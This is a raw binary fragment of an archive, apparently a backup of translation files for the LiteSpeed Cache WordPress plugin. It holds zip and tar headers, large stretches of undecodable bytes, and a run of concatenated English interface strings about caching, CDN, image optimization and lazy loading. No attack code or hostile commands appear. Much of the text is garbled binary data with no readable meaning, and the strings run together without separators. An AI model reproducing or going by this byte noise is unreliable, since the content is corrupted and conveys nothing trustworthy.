�s��5�3���g����_��PK��+[GL(Z�����litespeed-cache-es_ES.poUT�!�hux����PK��+[�pd��I���k�litespeed-cache-es_ES.moUT�!�hux����PK��+[�HM
��6��q�litespeed-cache-es_ES.l10n.phpUT�!�hux����PK ��litespeed-wp-plugin/7.5.0.1/translations/.ls_translation_check_fa_IR000064400000000000151031165260021211 0ustar00litespeed-wp-plugin/7.5.0.1/translations/litespeed-cache-pl_PL.mo000064400000457745151031165260020377 0ustar00��2�)�<Soo	o'o2Dowoo	�o
�o
�o�o�o�o�o�o	pp	p#p.6pep
rp}p�ph�pN�pgKq\�qorb�re�raIs=�s"�s7tDtSt Wt
xt�tH�t�t�tuu3u'Du
lu	zu�u�u�u%�u�u|�uF_v
�v.�v0�vw% w	Fw"PwswP�w�wT�wZHx>�x�x�x4y-Ay/oyq�yLz2^zI�z*�zJ{Q{`{#l{�{�{Q�{O�{M|sc|E�|P}0n}�}'�}�}�}~3+~_~e~}~$�~	�~	�~�~ �~"�~/
*=h
p~���4-��b�f/�������
��́ځ#���#�C�
P�[�h�����������͂	���
� �-�<�I�8X�&��0��'�*�S<��� �� ΄(��� (�I��g����W�Kl�	��†Ԇ�$	�.�G�_�"w���"��ه!��6�&V�&}�"��GLj!�,1�$^�+����ω��'!�(I�'r���
����ي�1�
5�%C�2i���V��^��
^�i�x�������͌݌&�.�NJ�*��/čV�]K�L�����%� >�_�!q�����
����ȏ����	�"�.�%=�Bc�
��4��&�6
�D�Q�	d�n�������ۑ�� �"<�_�u�/��/��*�<�<V�7��˓ړ���$�
B�	P�Z�c�v�������
”Д	ܔ�����1�
9�G�X�!o�����Õܕ�
��
<�J��S�9��3�);�Me���+ї}��{�D��8ј
��
'�5�L�;X����S� \� }�K��8�#�>�F�Z�o�������˛ޛ��C�_�v�H}�Ɯ؜
ܜ�<�1�K�\�9q�9��
����
#�.�D�_�,z�^��q�x�����N�����#�(��
ߡ����3�M�l�t�������Ģ͢������+�%2�,X�s��'��!�5�"U�%x�����&Ѥ��� �9�L�6R�������ץL�>�9J�:��6��-���$�K��W
�e�v�
������OȨ
�#�;�V�m�u�����
��Qϩ!�1�
L�Z�u� ��0��ڪ���#�4�
:�E�T�k�!�������ګm�������Ǭ�
���	��B*�
m�x���	����2��Zƭ,!�N�c�-~����/��i��;�YZ�K��V�UW�L��B��Y=�:��VҲ`)�J��gճx=�=��@�=5�s�������϶�
��<�?I�������ҷ�?��;�B�R� b�&�� ��D˸�l�G���ѹc�o���
������\�"�7�L�h����#�
+�6�O�
[�
i�/t�/��Խk�<U�
����(���
��#�	/�9�cE���ȿٿ.��
$�/�
D�R�j�w�h����A��I��	�����)�6�'F�
n�|�
��
��"������$��+�8�#J�n�*����������
��
,�$7�(\�����C����P�Fe�F��@��54�2j�B��>��"�=B�&������%����	�%#� I�"j�&��!������ 	�*�B�$a�����������d��P� h���/��.������/�B�_�s��������������������
�)�5�A�P�_�~�%����$��
����������/�@4�
u�%����������>���&� ;�\�*s� ������2��
�&�"C�*f�*��"��"���<�,O�$|�
��
����������
��.��?�6\�;��1��3�25�6h�0���������������Q!�Qs�D��

��#(�-L�$z�?�������7x���%��	������)�@�T�m�$}���E��+�*-�X�n�z���<��������
��
�$�;�N�!_�1��������������2�9�B�T�Rj�c��2!�?T�
������d��<<�5y�S��C�5G�}����K!�Om�'���������9�;M�0��M����p'�|��/�&E�&l�)��8��7��4.�c���
����
�����FI�d��U��K�Xc���������A��A3�u�{���	������������
��	���%,�R�0n���I����$�D8�@}�9��1��*�87�ap����������,�+4�
`�k���P��<��/�O�/n���#�����;i�E�����<��=����Q0�+��������2����(�H�b�
q���� ����������0��N�@�&U�|�{��;�K�d�4z��������F	�P�b�!x���!������.��%�4�H�&f�B�������Y�y�����$������I�
R�`�p�
����:�����;�gD���.���'�d�{���f��$�X1�Q��7�+�J@���g��
��?�^�Qw��0�P�^W�q��	(�2�9D�v~�}��(s�����>����U�Nh�e���
*�8�&U�|�#������9�
�V�iq�_�C;Ga�8)4b/�7�6�76-n)�L�*)>-h(�H�AcJR�MO`(w3��R�.C[l|�
���2��($?5d�����e�-6d/lZ�h�]`	=�	i�	8f
[�
c�
C_j�zA�q�`=
'�
q�
8WXO�>?XKp�E�1-98gM�Y�,H)uS�9�&-)T9~$�X�16Ah^�E	UO(�S�Y"|J�z�(XI�x�^DA�4�)cD0�.�����I�A�Y>*�F�9
DdRp�,C *p 1� ;� /	!(9!Jb!4�!B�!%"ND"Q�"o�"XU#/�#G�#9&$1`$��$�%��%J{&^�&3%'NY'�'W�'�(��(>z)H�)H*<K*1�*V�*L+*^+]�+�+�+�+�+
,$,;,P,
a,o,�,�,�,�,��,/N-(~-)�-�-��-�o.
�.
�.
//./@/@M/�/
�/%�/g�/H+0
t0
0
�0�0�0�0:�0>�0@:1p{1�12202D2W2rv2]�25G3_}3��3({48�4�4#�45$>5.c52�5r�5H86�6!�6�6�6C�6F7G7
T7_7r7�7�7�7�7�7�78#8 =8^8Kf8�8�8+�8�8)9�;9 �9
�9�9:6:K:\:et:J�:j%;K�;d�;MA<J�<�<g�<^=Ru=Z�=#>8>'X>#�>�>��>%]?-�?��?/i@(�@E�@�Au�AF5B0|BD�B.�BS!C4uC*�C�CC�CA8DLzD-�DG�D<=EzE/�E�E�E)�EZFwqF�FC�F<GSH
\HgHoH�HK�H�H�HIJI	fIpIxI�I��I
JJq!J�K&�K!�K5�K
L	&L	0L:L	CLML]L#{L�L�L�L
�L
�L�L6�L.M>MRMcMuwMO�Mx=N��N�8Op�Om3Ps�PNQBdQE�Q%�QR#R;R LRZmR�R�R�R#S(S1?SqS�S�S�S�S?�S%T�(T5�T	�T6�T:2UmU/�U�U*�U*�USVrV^�Vv�VBdW�W�W@�W8X9NXu�XO�X@NYO�Y.�YXZgZwZB�Z�Z�Ze[jq[�[��[9�\a�\<)]f]8�]�]�]�]6	^
@^$K^p^*v^
�^�^�^B�^$_5-_4c_
�_!�_-�_&�_�`;�`�at�a]b"ub�b�b�b�b5�b�bc#"cFc
Vcacpc�c�c�c�c-�c(!dJd>id%�d�d�d(e-eIecfe:�eYf0_f>�f[�f,+g.Xg$�g/�g�g	�g(�g h�7h�h�hL�hSDi�i%�i�i(�i3j#Lj&pj�j*�j&�j'k((k,Qk3~k%�k3�k.l;lO[l-�l/�l,	m06m+gm'�m"�m+�m4
n,?nQln)�n�n*�n 'oHoIeo�o2�oC�o
>peLpi�p
q'q 6qWqvq�q�q�q'�q1�qar%�r3�r[�rV6sO�s�s�st%*tPt)dt�t�t�t�t!�t�tu"u(=ufu|u1�uw�uCv>\v,�vL�v
w#w
9wDw!]w*w1�w�w�wx7)x ax�x$�x8�x8�x3.yHbyH�yC�y8z$Szxz�z"�z/�z�z{{!{;{#T{x{
�{$�{�{�{�{||8|	P|Z| x|�|&�|�|,�|*}H}1[}�}%�}�}	�}��}M�~!5-ic$�5��(���I��;�G�P�k�#����Q�����!��e*�C��ԃ����,"�-O�'}�2��؄)�)�!=�;_�����`���2�6�K�rZ�͇���:�:N�������ƈ���!�D<�e����
}� ����P���$��+�2؋
�
�#$� H�i�!��	����,���%�A�I�]�
i�Dw�(��<��"�1ˎ!��-�+M�5y�,�� ܏6��4�I�g�����?����� �'8��`��8�G*�6r�/���ْY�mٓ.G�8v�����'єm��g�w�����̕ԕ�-��(�]7�����ĖӖ�"�3/�c�!�� ��:ė����+�$D�'i�,�����ݘ��Ǚܙ��#�7�C�S�	j�t�C��!˚������A�aV�,���)�:*�Ee�Y����T��m�iR�b��_�`�]�R>�A��iӡf=�L�������@E�M��Cԥ�-�"E�"h�"����ƦLצN$�s� ��!��֧�P�U�\�m�7��)���`�b��r�Z���S��)�A�R��^��>�&�;�(U�'~����
a�
l�z�
������?ή;�$J�mo�Wݯ5�"A�+d�!����ʰ�	�
���
�*����ԱJ�>�C�\�
q��
��%���ʲK�PS����
S�a�y�������˴G޴&�6�L�c�2u�����0׵<�E�3Y�%��=���$
�2�O�k�!����3��-�!�;�RS���cŸN)�Nx�FǹS�Sb�P��O�#W�Z{�5ֻ��00�"a���)��1˼4��92�$l� ����&ͽ�4�+D�!p�������Ⱦ�߾j�$����@ÿA�F�R�f�}��������%�,�
/�#:�^�s�x�*���������4�+;�g�)��������������G$�l�3~�����
����H��/�&<�(c���5�������G)� q�!��/��5��<�1W�=����K��<&�Mc�����"�����
�
�?'�Ig�R��K�TP�?��W��C=�2������������'��2�\E�Q��L��A�R�(a�5��%��G��.��J�G��2�:M��������������3�3F�z�O��5��:�!X�z���)��A����	��%�;�)J�t���"��-��
�� ���1�F�V�)]�	������"��r���>�8��B��?�6V���m��>�:O�_��M��H8�(�����i7�h��-
�8�=�Q�^�Kt�N��K�h[�����l���P�:��H"�3k�:��Y��=4�Qr�-�������/��L�W
�Zb�c��!�`A�	��������E��E>�	�������� ��"���&�9�U�g�}���>��-��O�`�cz�'��;�VB�G��@��C"�f�Q|����S�i���4����
��6��
.�9�N�jm�K��!$� F�1g���+�����Kf�M����J��U&�|�"��_��,�?�O�h�,}�	��%��4���+�<�!N�p�(����������
�(-�V�t�+�������LZ�����;��*�-<�j��Q����$��&�*8�)c�����5����"�2*�.]�Q����$��!"�yD�����.��"�@�W�Or����������_6�/���U��(�
��H��
�2�F������*��a��f�=v�8��N�<�v\��+��60�Yg���W�f0�t��������>������/;�%k���U����Ugg|�L_-u0��)�
'T<�h�xj�_�S[l�ZCwX�^_sE�.+H\t+�*�3($\M�G�p	_�	f�	O
'o
:�
B�
h�����$ EAM�&�.�N
S
n
�
�
�
��
B
X1c���A_�?(zhJ�t.v�b�}�K���}b%�_'fM�U�;2n�X�E�]B8�@�JKe]�>.Nj}H�#1)U;�R�C.[ro�I>]�1�cf|�c��^: hB �� �\!b�!>R"0�"y�"(<#3e#��#�^$�)%�%Q&hU&%�&p�&�U'1H*&z*��*v%+-�+A�+I,dV,H�,;-d@-9�-W�-@7.lx.^�.�D/}�//F0bv0W�0<11�n1�2��2�3�04Q�4e5 w5v�5�6
�6C�7R$8Pw89�809g39[�97�9n/:
�:
�:	�:�:�:1�:;,;?;O;h;o;�;�;��;8|</�<4�<!=�<=��=o>>�>"�>�>�>J�>	)?3?3K?w?R�?
J@X@h@
|@$�@�@M�@LAYOA��AHBgB${B�B�B!�B��B~�C?D�LD��DC�ER�E*4F1_F-�F'�FH�F00G�aG��GtH)�H�H�H=�HGILI
eIsI%�I�I+�I#�IJ)JDJSJgJ,�J�J]�JK$K:=K"xK:�K��K#|L�L!�L(�L�LM M~<Mo�M�+Nd�NvOQ�Oh�O#LPppP)�P{Qi�Q�Q#R1,RC^R�R��R*iS@�S�S2�T/UQDU��UvoVE�V-,W?ZW1�WX�W8%X.^X�XE�XO�X_BY8�YM�YC)Z"mZA�Z�Z�Z(�Z\[�{[6\SM\9�\�]	�]
�]�]^K0^	|^&�^�^N�^_
___�"_�_�_p�
��6��<���"����M��z�%>��rhg��o�B0��! w�|{��iw5z��_�x��f�����2&v�=I����]}��2)�M��&�?�e^���~�QhM��a.2-���������������Z�C�}a�-������
�t���g�)���8�(��'�RT�U�*���%@�����Cke�X.�`�<��^��t�z��\6(��F�y�{�U!�A��o�H��:���N<j;��FD��6�
:��I� N �T���!`�s�(�>�o�(}�s�����@��a>�Y��4�:N5=l,�c��b�	l�����{z��'N�|�Ojc/��m�z�$�Gv�]�=;���b���������
X��@d�����W$��J���,�����Zm�9y������JfV�x��+$v=�l�O
4!�6
�Y���^#3��jB/�&I2��/5����R
��d�+�-�c���������%���?);7���P��j��
t_E�	q�����A�5�3���b�U"��TE�,��QV���b�Z�pWu3���.�9)�>��iW����5��� �"O�	0��G�.�1�e�'���0rHA�yQ
(�w�k���#m'����J���*�7nT�,���T�� �1eU�@�����R��?s|Q����(�9����Y���H�r~��q�4�J��I���P�xW�r�c����mm-��Xv*]���,�-#��u'��*���E��$���~#x\���8��%$Sl��\SM��RaX����L��.�EG��BSq������}u7��G]��]G^/>����Q�17��Z��~����jY�<C:X�^w_fK��B�v[�lk�1��`hp��0S��[��o��F�H�K��Y2���g��CiP�0�
��3������"��A����\+��nZ�/��U���<f;���dn�P��	�f1
i�����o�:����P��@u_�\4	L,�L���Ws����CS�k��D�$= �����%���_�|R���*�F`��!���wh���yp�A�������"��DV�89�
�k�h8��)%{���`ut��6?�N3/�����)����;��|g��8�n�~K�F���c+�#n����r�1t��0�����-�b�+��OL���4�"���+����!��p����[�gDqy��H{��[?.������K7��&�L�q�������}��9����[�V�M��VI'�E	2se�&O#�d&a�i��B�x*�����K��J�dD %s ago%1$s %2$s files left in queue%1$s is a %2$s paid feature.%1$s plugin version %2$s required for this action.%d hour%d hours%d minute%d minutes%d seconds%s Extension%s activation data expired.%s file not readable.%s file not writable.%s group%s groups%s image%s images%s is recommended.%s must be turned ON for this setting to work.(no savings)(non-optm)(optm).htaccess Path<a href="%1$s" %2$s>View version %3$s details</a> or <a href="%4$s" %5$s target="_blank">update now</a>.<p>Please add/replace the following codes into the beginning of %1$s:</p> %2$s<strong>Critical CSS (CCSS)</strong> loads visible above-the-fold content faster and with full styling.<strong>Image Optimization</strong> gives you smaller image file sizes that transmit faster.<strong>Low Quality Image Placeholder (LQIP)</strong> gives your imagery a more pleasing look as it lazy loads.<strong>Page Optimization</strong> streamlines page styles and visual elements for faster loading.<strong>Unique CSS (UCSS)</strong> removes unused style definitions for a speedier page load overall.<strong>Viewport Images (VPI)</strong> provides a well-polished fully-loaded view above the fold.A Purge All will be executed when WordPress runs these hooks.A TTL of 0 indicates do not cache.A backup of each image is saved before it is optimized.AJAX Cache TTLAPIAVIF file reduced by %1$s (%2$s)AVIF saved %sAccelerate, Optimize, ProtectAccelerates the speed by caching Gravatar (Globally Recognized Avatars).ActivateAdd Missing SizesAdd new CDN URLAdd new cookie to simulateAdd to BlocklistAdding Style to Your Lazy-Loaded ImagesAdmin IP OnlyAdmin IPsAdvancedAdvanced (Recommended)Advanced SettingsAdvanced level will log more details.AfterAfter the QUIC.cloud Image Optimization server finishes optimization, it will notify your site to pull the optimized images.After verifying that the cache works in general, please test the cart.AggressiveAlias is in use by another QUIC.cloud account.All QUIC.cloud service queues have been cleared.All TransientsAll categories are cached by default.All pagesAll pages with Recent Posts WidgetAll tags are cached by default.Allows listed IPs (one per line) to perform certain actions from their browsers.Already CachedAlways purge both product and categories on changes to the quantity or stock status.An optional second parameter may be used to specify cache control. Use a space to separateAppend query string %s to the resources to bypass this action.Applied the %1$s preset %2$sApply PresetAre you sure to delete all existing blocklist items?Are you sure to destroy all optimized images?Are you sure you want to clear all cloud nodes?Are you sure you want to disconnect from QUIC.cloud? This will not remove any data from the QUIC.cloud dashboard.Are you sure you want to redetect the closest cloud server for this service?Are you sure you want to remove all image backups?Are you sure you want to reset all settings back to the default settings?Asynchronous CSS Loading with Critical CSSAttach PHP info to report. Check this box to insert relevant data from %s.Author archiveAuto DraftsAuto Purge Rules For Publish/UpdateAuto Request CronAutoloadAutomatic generation of critical CSS is in the background via a cron-based queue.Automatic generation of unique CSS is in the background via a cron-based queue.Automatically UpgradeAutomatically enable DNS prefetching for all URLs in the document, including images, CSS, JavaScript, and so forth.Automatically generate LQIP in the background via a cron-based queue.Automatically remove the original image backups after fetching optimized images.Automatically request optimization via cron job.Available after %d second(s)Avatar list in queue waiting for updateBackend .htaccess PathBackend Heartbeat ControlBackend Heartbeat TTLBackup created %1$s before applying the %2$s presetBasicBasic Image PlaceholderBeforeBest available WordPress performanceBeta TestBlocklistBlocklistedBlocklisted due to not cacheableBoth %1$s and %2$s are acceptable.Both full URLs and partial strings can be used.Both full and partial strings can be used.BrowserBrowser CacheBrowser Cache SettingsBrowser Cache TTLBrowser caching stores static files locally in the user's browser. Turn on this setting to reduce repeated requests for static files.By default a gray image placeholder %s will be used.By default, the My Account, Checkout, and Cart pages are automatically excluded from caching. Misconfiguration of page associations in WooCommerce settings may cause some pages to be erroneously excluded.By design, this option may serve stale content. Do not enable this option, if that is not OK with you.CCSS Per URLCCSS Selector AllowlistCDNCDN BandwidthCDN SettingsCDN URLCDN URL to be used. For example, %sCSS & JS CombineCSS CombineCSS Combine External and InlineCSS ExcludesCSS MinifyCSS SettingsCSS, JS and HTML MinificationCSS/JS CacheCacheCache Admin BarCache Comment FormCache CommentersCache Control SettingsCache HitCache Logged-in UsersCache Login PageCache MissCache MobileCache REST APICache StatusCache WP-AdminCache key must be integer or non-empty string, %s given.Cache key must not be an empty string.Cache requests made by WordPress REST API calls.Cache the built-in Admin Bar ESI block.Cache the built-in Comment Form ESI block.Caches your entire site, including dynamic content and <strong>ESI blocks</strong>.Calculate Backups Disk SpaceCalculate Original Image StorageCalculated backups successfully.Can not create folder: %1$s. Error: %2$sCancelCategoryCert or key file does not exist.Changed setting successfully.Changes to this setting do not apply to already-generated LQIPs. To regenerate existing LQIPs, please %s first from the admin bar menu.Check StatusCheck my public IP fromCheck the status of your most important settings and the health of your CDN setup here.Check this option to use the primary site's configuration for all subsites.Clean AllClean Crawler MapClean Up Unfinished DataClean all auto saved draftsClean all orphaned post meta recordsClean all post revisionsClean all spam commentsClean all successfully.Clean all trackbacks and pingbacksClean all transient optionsClean all transients successfully.Clean all trashed commentsClean all trashed posts and pagesClean auto drafts successfully.Clean expired transient optionsClean expired transients successfully.Clean orphaned post meta successfully.Clean post revisions successfully.Clean revisions older than %1$s day(s), excluding %2$s latest revisionsClean spam comments successfully.Clean trackbacks and pingbacks successfully.Clean trashed comments successfully.Clean trashed posts and pages successfully.Cleaned all Critical CSS files.Cleaned all Gravatar files.Cleaned all LQIP files.Cleaned all Unique CSS files.Cleaned all localized resource entries.Cleaned up unfinished data successfully.Clear %s cache when "Purge All" is run.Clear Cloudflare cacheClear LogsCleared %1$s invalid images.Click here to proceed.Click here to set.Click to clear all nodes for further redetection.Click to copyClick to switch to optimized version.Click to switch to original (unoptimized) version.Cloud ErrorCloud server refused the current request due to rate limiting. Please try again later.Cloud server refused the current request due to unpulled images. Please pull the images first.CloudflareCloudflare APICloudflare API is set to off.Cloudflare CacheCloudflare DomainCloudflare SettingsCloudflare ZoneCollapse Query StringsCombine CSS files and inline CSS code.Combine all local JS files into a single file.Comments are supported. Start a line with a %s to turn it into a comment line.Communicated with Cloudflare successfully.Congratulation! Your file was already optimizedCongratulations, %s successfully set this domain up for the anonymous online services.Congratulations, %s successfully set this domain up for the online services with CDN service.Congratulations, %s successfully set this domain up for the online services.Congratulations, all gathered!Connection TestContent Delivery NetworkContent Delivery Network ServiceConvert to InnoDBConverted to InnoDB successfully.Cookie NameCookie SimulationCookie ValuesCopy LogCould not find %1$s in %2$s.Crawl IntervalCrawlerCrawler CronCrawler General SettingsCrawler LogCrawler StatusCrawler disabled by the server admin.Crawler disabled list is cleared! All crawlers are set to active! Crawler(s)Create a post, make sure the front page is accurate.Created with ❤️ by LiteSpeed team.Credits are not enough to proceed the current request.Critical CSSCritical CSS RulesCron NameCurrent %s ContentsCurrent Cloud Nodes in ServiceCurrent crawler started atCurrent image post id positionCurrent limit isCurrent server loadCurrent server time is %s.Current sitemap crawl started atCurrent status is %1$s since %2$s.Current status is %s.Currently active crawlerCurrently using optimized version of AVIF file.Currently using optimized version of WebP file.Currently using optimized version of file.Currently using original (unoptimized) version of AVIF file.Currently using original (unoptimized) version of WebP file.Currently using original (unoptimized) version of file.Custom SitemapDB Optimization SettingsDNS PreconnectDNS PrefetchDNS Prefetch ControlDNS Prefetch for static filesDaily archiveDashboardDatabaseDatabase OptimizerDatabase SummaryDatabase Table Engine ConverterDatabase to be usedDay(s)Debug HelpersDebug LevelDebug LogDebug SettingsDebug String ExcludesDebug URI ExcludesDebug URI IncludesDefaultDefault CacheDefault Feed TTLDefault Front Page TTLDefault HTTP Status Code Page TTLDefault Object LifetimeDefault Private Cache TTLDefault Public Cache TTLDefault REST TTLDefault TTL for cached objects.Default path isDefault port for %1$s is %2$s.Default valueDeferredDeferring until page is parsed or delaying till interaction can help reduce resource contention and improve performance causing a lower FID (Core Web Vitals metric).Delay rendering off-screen HTML elements by its selector.DelayedDelete all backups of the original imagesDelivers global coverage with a growing <strong>network of 80+ PoPs</strong>.Destroy All Optimization DataDestroy all optimization data successfully.Determines how changes in product quantity and product stock status affect product pages and their associated category pages.Development ModeDevelopment Mode will be turned off automatically after three hours.Development mode will be automatically turned off in %s.DisableDisable All FeaturesDisable CacheDisable Image LazyloadDisable VPIDisable WordPress interval heartbeat to reduce server load.Disable this option to generate CCSS per Post Type instead of per page. This can save significant CCSS quota, however it may result in incorrect CSS styling if your site uses a page builder.DisabledDisabled AVIF file successfully.Disabled WebP file successfully.Disabling this may cause WordPress tasks triggered by AJAX to stop working.Disabling this option may negatively affect performance.Disconnect from QUIC.cloudDismissDismiss this noticeDismiss this notice.Do Not Cache CategoriesDo Not Cache CookiesDo Not Cache GroupsDo Not Cache Query StringsDo Not Cache RolesDo Not Cache TagsDo Not Cache URIsDo Not Cache User AgentsDo not purge categories on changes to the quantity or stock status.Do not show this againDomainDowngrade not recommended. May cause fatal error due to refactored code.Drop Query StringESIESI NoncesESI SettingsESI allows you to designate parts of your dynamic page as separate fragments that are then assembled together to make the whole page. In other words, ESI lets you “punch holes” in a page, and then fill those holes with content that may be cached privately, cached publicly with its own TTL, or not cached at all.ESI sample for developersEditor HeartbeatEditor Heartbeat TTLElements with attribute %s in HTML code will be excluded.Elements with attribute %s in html code will be excluded.Email AddressEmpty Entire CacheEmpty blocklistEnable CacheEnable ESIEnable QUIC.cloud CDNEnable QUIC.cloud ServicesEnable QUIC.cloud servicesEnable Viewport Images auto generation cron.Enable replacement of WebP/AVIF in %s elements that were generated outside of WordPress logic.Enable this option if you are using both HTTP and HTTPS in the same domain and are noticing cache irregularities.EnabledEnabled AVIF file successfully.Enabled WebP file successfully.Enabling LiteSpeed Cache for WordPress here enables the cache for the network.Ended reasonEngineEnter this site's IP address to allow cloud services directly call IP instead of domain name. This eliminates the overhead of DNS and CDN lookups.Error: Failed to apply the settings %1$sEssentialsEvery MinuteEverything in Advanced, PlusEverything in Aggressive, PlusEverything in Basic, PlusEverything in Essentials, PlusExampleExample use case:Examples of test cases include:Exclude PathExclude SettingsExcludesExpired TransientsExportExport SettingsExtremeFailedFailed to back up %s file, aborted changes.Failed to communicate with CloudflareFailed to communicate with QUIC.cloud serverFailed to create Avatar table. Please follow <a %s>Table Creation guidance from LiteSpeed Wiki</a> to finish setup.Failed to create table %1$s! SQL: %2$s.Failed to detect IPFailed to get %s file contents.Failed to get echo data from WPAPIFailed to parse %s activation status.Failed to request via WordPressFailed to upgrade.Failed to validate %s activation data.Failed to write to %s.Fast Queue UsageFile %s is not writable.Filename is empty!FilesFilter %s available for UCSS per page type generation.Filter %s is supported.Folder does not exist: %sFolder is not writable: %s.Font Display OptimizationFor URLs with wildcards, there may be a delay in initiating scheduled purge.For exampleFor example, %1$s defines a TTL of %2$s seconds for %3$s.For example, %s can be used for a transparent placeholder.For example, for %1$s, %2$s and %3$s can be used here.For example, for %1$s, %2$s can be used here.For example, if every Page on the site has different formatting, enter %s in the box. Separate critical CSS files will be stored for every Page on the site.For example, to drop parameters beginning with %1$s, %2$s can be used here.For that reason, please test the site to make sure everything still functions properly.Force Cache URIsForce Public Cache URIsForce cronForced cacheableFree monthly quota available.Free monthly quota available. Can also be used anonymously (no email required).Front pageFrontend .htaccess PathFrontend Heartbeat ControlFrontend Heartbeat TTLGeneralGeneral SettingsGenerate LQIP In BackgroundGenerate Link for Current UserGenerate UCSSGenerate a separate vary cache copy for the mini cart when the cart is not empty.Generated at %sGlobal API Key / API TokenGlobal GroupsGo to QUIC.cloud dashboardGo to plugins listGood news from QUIC.cloud serverGoogle reCAPTCHA will be bypassed automatically.Gravatar CacheGravatar Cache CronGravatar Cache TTLGroups cached at the network level.GuestGuest ModeGuest Mode IPsGuest Mode JS ExcludesGuest Mode User AgentsGuest Mode and Guest OptimizationGuest Mode failed to test.Guest Mode passed testing.Guest Mode provides an always cacheable landing page for an automated guest's first time visit, and then attempts to update cache varies via AJAX.Guest Mode testing resultGuest OptimizationHTML Attribute To ReplaceHTML Keep CommentsHTML Lazy Load SelectorsHTML MinifyHTML SettingsHTTPS sources only.HeartbeatHeartbeat ControlHigh-performance page caching and site optimization from LiteSpeedHigher TTLHistoryHitHome pageHostHow to Fix Problems Caused by CSS/JS Optimization.However, there is no way of knowing all the possible customizations that were implemented.Htaccess did not match configuration option.Htaccess rule is: %sI've already left a reviewIf %1$s is %2$s, then %3$s must be populated!If ON, the stale copy of a cached page will be shown to visitors until a new cache copy is available. Reduces the server load for following visits. If OFF, the page will be dynamically generated while visitors wait.If comment to be kept is like: %1$s write: %2$sIf every web application uses the same cookie, the server may confuse whether a user is logged in or not.If only the WordPress site should be purged, use Purge All.If set to %1$s, before the placeholder is localized, the %2$s configuration will be used.If set to %s this is done in the foreground, which may slow down page load.If the category name is not found, the category will be removed from the list on save.If the login cookie was recently changed in the settings, please log out and back in.If the tag slug is not found, the tag will be removed from the list on save.If this is set to a number less than 30, feeds will not be cached.If using OpenLiteSpeed, the server must be restarted once for the changes to take effect.If you are using a %1$s socket, %2$s should be set to %3$sIf you run into any issues, please refer to the report number in your support message.If you turn any of the above settings OFF, please remove the related file types from the %s box.If you would rather not move at litespeed, you can deactivate this plugin.If your site contains public content that certain user roles can see but other roles cannot, you can specify a Vary Group for those user roles. For example, specifying an administrator vary group allows there to be a separate publicly-cached page tailored to administrators (with “edit” links, etc), while all other user roles see the default public page.If your theme does not use JS to update the mini cart, you must enable this option to display the correct cart contents.Iframes containing these class names will not be lazy loaded.Iframes having these parent class names will not be lazy loaded.Ignore certain query strings when caching. (LSWS %s required)Image InformationImage OptimizationImage Optimization SettingsImage Optimization SummaryImage Thumbnail Group SizesImage groups totalImages PulledImages containing these class names will not be lazy loaded.Images having these parent class names will not be lazy loaded.Images not requestedImages notified to pullImages optimized and pulledImages ready to requestImages requestedImages will be pulled automatically if the cron job is running.ImportImport / ExportImport SettingsImport failed due to file error.Imported setting file %s successfully.Improve HTTP/HTTPS CompatibilityImprove wp-admin speed through caching. (May encounter expired data)Improved byIn order to avoid an upgrade error, you must be using %1$s or later before you can upgrade to %2$s versions.In order to use QC services, need a real domain name, cannot use an IP.In order to use most QUIC.cloud services, you need quota. QUIC.cloud gives you free quota every month, but if you need more, you can purchase it.Include CSSInclude File TypesInclude ImagesInclude JSInclude external CSS and inline CSS in combined file when %1$s is also enabled. This option helps maintain the priorities of CSS, which should minimize potential errors caused by CSS Combine.Include external JS and inline JS in combined file when %1$s is also enabled. This option helps maintain the priorities of JS execution, which should minimize potential errors caused by JS Combine.Included DirectoriesInline CSS Async LibInline CSS added to CombineInline JS added to CombineInline UCSS to reduce the extra CSS file loading. This option will not be automatically turned on for %1$s pages. To use it on %1$s pages, please set it to ON.InstallInstall %sInstall DoLogin SecurityInstall NowInstant ClickInvalid IPInvalid login cookie. Invalid characters found.Invalid login cookie. Please check the %s file.Invalid rewrite ruleIt is STRONGLY recommended that the compatibility with other plugins on a single/few sites is tested first.It will be converted to a base64 SVG placeholder on-the-fly.JS CombineJS Combine External and InlineJS Defer for both external and inline JSJS Deferred / Delayed ExcludesJS DelayedJS Delayed IncludesJS ExcludesJS MinifyJS SettingsJS error can be found from the developer console of browser by right clicking and choosing Inspect.Join LiteSpeed Slack communityJoin Us on SlackJoin the %s community.Keep this off to use plain color placeholders.LQIPLQIP CacheLQIP Cloud GeneratorLQIP ExcludesLQIP Minimum DimensionsLQIP QualityLQIP image preview for size %sLQIP requests will not be sent for images where both width and height are smaller than these dimensions.LSCacheLSCache caching functions on this page are currently unavailable!Larger number will generate higher resolution quality placeholder, but will result in larger files which will increase page size and consume more points.Larger thanLast PullLast PulledLast Report DateLast Report NumberLast RequestLast calculatedLast complete run time for all crawlersLast exportedLast generatedLast importedLast intervalLast pull initiated by cron at %s.Last ranLast requested costLazy Load Iframe Class Name ExcludesLazy Load Iframe Parent Class Name ExcludesLazy Load IframesLazy Load Image Class Name ExcludesLazy Load Image ExcludesLazy Load Image Parent Class Name ExcludesLazy Load ImagesLazy Load URI ExcludesLazy Load for IframesLazy Load for ImagesLearn MoreLearn More about QUIC.cloudLearn moreLearn more about when this is neededLearn more or purchase additional quota.Link & Enable QUIC.cloud CDNLink to QUIC.cloudLinked to QUIC.cloud preview environment, for testing purpose only.List of Mobile User AgentsList post types where each item of that type should have its own CCSS generated.List the CSS selectors whose styles should always be included in CCSS.List the CSS selectors whose styles should always be included in UCSS.Listed CSS files will be excluded from UCSS and saved to inline.Listed IPs will be considered as Guest Mode visitors.Listed JS files or inline JS code will be delayed.Listed JS files or inline JS code will not be deferred or delayed.Listed JS files or inline JS code will not be optimized by %s.Listed URI will not generate UCSS.Listed User Agents will be considered as Guest Mode visitors.Listed images will not be lazy loaded.LiteSpeed CacheLiteSpeed Cache CDNLiteSpeed Cache Configuration PresetsLiteSpeed Cache CrawlerLiteSpeed Cache DashboardLiteSpeed Cache Database OptimizationLiteSpeed Cache General SettingsLiteSpeed Cache Image OptimizationLiteSpeed Cache Network Cache SettingsLiteSpeed Cache Page OptimizationLiteSpeed Cache Purge AllLiteSpeed Cache SettingsLiteSpeed Cache Standard PresetsLiteSpeed Cache ToolboxLiteSpeed Cache View .htaccessLiteSpeed Cache plugin is installed!LiteSpeed Crawler CronLiteSpeed LogsLiteSpeed OptimizationLiteSpeed ReportLiteSpeed TechnologiesLiteSpeed cache plugin upgraded. Please refresh the page to complete the configuration data upgrade.Load CSS AsynchronouslyLoad Google Fonts AsynchronouslyLoad JS DeferredLoad iframes only when they enter the viewport.Load images only when they enter the viewport.LocalizationLocalization FilesLocalization SettingsLocalize ResourcesLocalize external resources.Localized ResourcesLog File Size 